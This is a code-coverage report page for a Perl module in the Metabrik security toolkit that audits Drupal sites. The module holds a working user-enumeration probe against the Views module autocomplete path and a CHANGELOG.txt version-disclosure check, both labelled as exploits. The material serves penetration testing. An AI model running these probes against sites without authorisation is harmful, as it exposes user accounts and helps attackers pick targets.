Audit/Drupal.pm

filter: Statementstmt 100% 9 / 9 Branchbran n/a Conditioncond n/a MC/DCmcdc n/a Subroutinesub 100% 3 / 3 Podpod n/a totaltotal 100% 12 / 12 CC 1 SCAR 0.0
CC
1
Cov
100%
BEGIN
1.0
BEGIN
1.0
BEGIN
1.0
CRAP 1.0
« Audit/Dns.pm ↑ Summary Audit/Elasticsearch.pm »
1 #
2 # $Id$
3 #
4 # audit::drupal Brik
5 #
6 package Metabrik::Audit::Drupal;
7 1 ▶use strict;
Subroutine BEGIN: called CC=1 SCAR=0.0
8 1 ▶use warnings;
Subroutine BEGIN: called CC=1 SCAR=0.0
9  
10 1 ▶use base qw(Metabrik::Client::Www);
Subroutine BEGIN: called CC=1 SCAR=0.0
11  
12 sub brik_properties {
13 return {
14 revision => '$Revision$',
15 tags => [ qw(unstable) ],
16 author => 'GomoR <GomoR[at]metabrik.org>',
17 license => 'http://opensource.org/licenses/BSD-3-Clause',
18 attributes => {
19 url_path => [ qw(url_path) ],
20 target => [ qw(uri) ],
21 views_module_chars => [ qw($character_list) ],
22 },
23 attributes_default => {
24 url_path => '/',
25 target => 'http://localhost/',
26 views_module_chars => [ 'a'..'z' ],
27 },
28 commands => {
29 views_module_info_disclosure => [ qw(target|OPTIONAL url_path|OPTIONAL char_list|OPTIONAL) ],
30 core_changelog_txt => [ qw(target|OPTIONAL url_path|OPTIONAL) ],
31 },
32 };
33 }
34  
35 #
36 # http://www.rapid7.com/db/modules/auxiliary/scanner/http/drupal_views_user_enum
37 # http://www.madirish.net/node/465
38 #
39 sub views_module_info_disclosure {
40 my $self = shift;
41 my ($target, $url_path, $chars) = @_;
42  
43 $target ||= $self->target;
44 $url_path ||= $self->url_path;
45 $chars ||= $self->views_module_chars;
46 $self->brik_help_run_undef_arg('views_module_info_disclosure', $target) or return;
47 $self->brik_help_run_undef_arg('views_module_info_disclosure', $url_path) or return;
48 $self->brik_help_run_undef_arg('views_module_info_disclosure', $chars) or return;
49 my $ref = $self->brik_help_run_undef_arg('views_module_info_disclosure', $chars, 'ARRAY')
50 or return;
51  
52 my $exploit = '?q=admin/views/ajax/autocomplete/user/';
53  
54 $target =~ s/\/*$//;
55 $url_path =~ s/^\/*//;
56  
57 my @users = ();
58 for (@$chars) {
59 my $url = $target.'/'.$url_path.$exploit.$_;
60  
61 $self->log->info("views_module_info_disclosure: testing url: [$url]");
62  
63 my $r = $self->get($url) or next;
64 if ($r->{code} == 200) {
65 my $decoded = $r->{content};
66 push @users, $decoded;
67 $self->log->verbose($decoded);
68 }
69 }
70  
71 return \@users;
72 }
73  
74 # Gather default information disclosure file
75 sub core_changelog_txt {
76 my $self = shift;
77 my ($target, $url_path) = @_;
78  
79 $target ||= $self->target;
80 $url_path ||= $self->url_path;
81 $self->brik_help_run_undef_arg('core_changelog_txt', $target) or return;
82 $self->brik_help_run_undef_arg('core_changelog_txt', $url_path) or return;
83  
84 my $exploit = 'CHANGELOG.txt';
85  
86 $target =~ s/\/*$//;
87 $url_path =~ s/^\/*//;
88  
89 my $url = $target.'/'.$url_path.$exploit;
90  
91 $self->log->verbose("core_changelog_txt: testing url: [$url]");
92  
93 my $result = '';
94  
95 my $r = $self->get($url) or return;
96 if ($r->{code} == 200) {
97 $result = $r->{content};
98 }
99  
100 return $result;
101 }
102  
103 1;
104  
105 __END__
« Audit/Dns.pm ↑ Summary Audit/Elasticsearch.pm »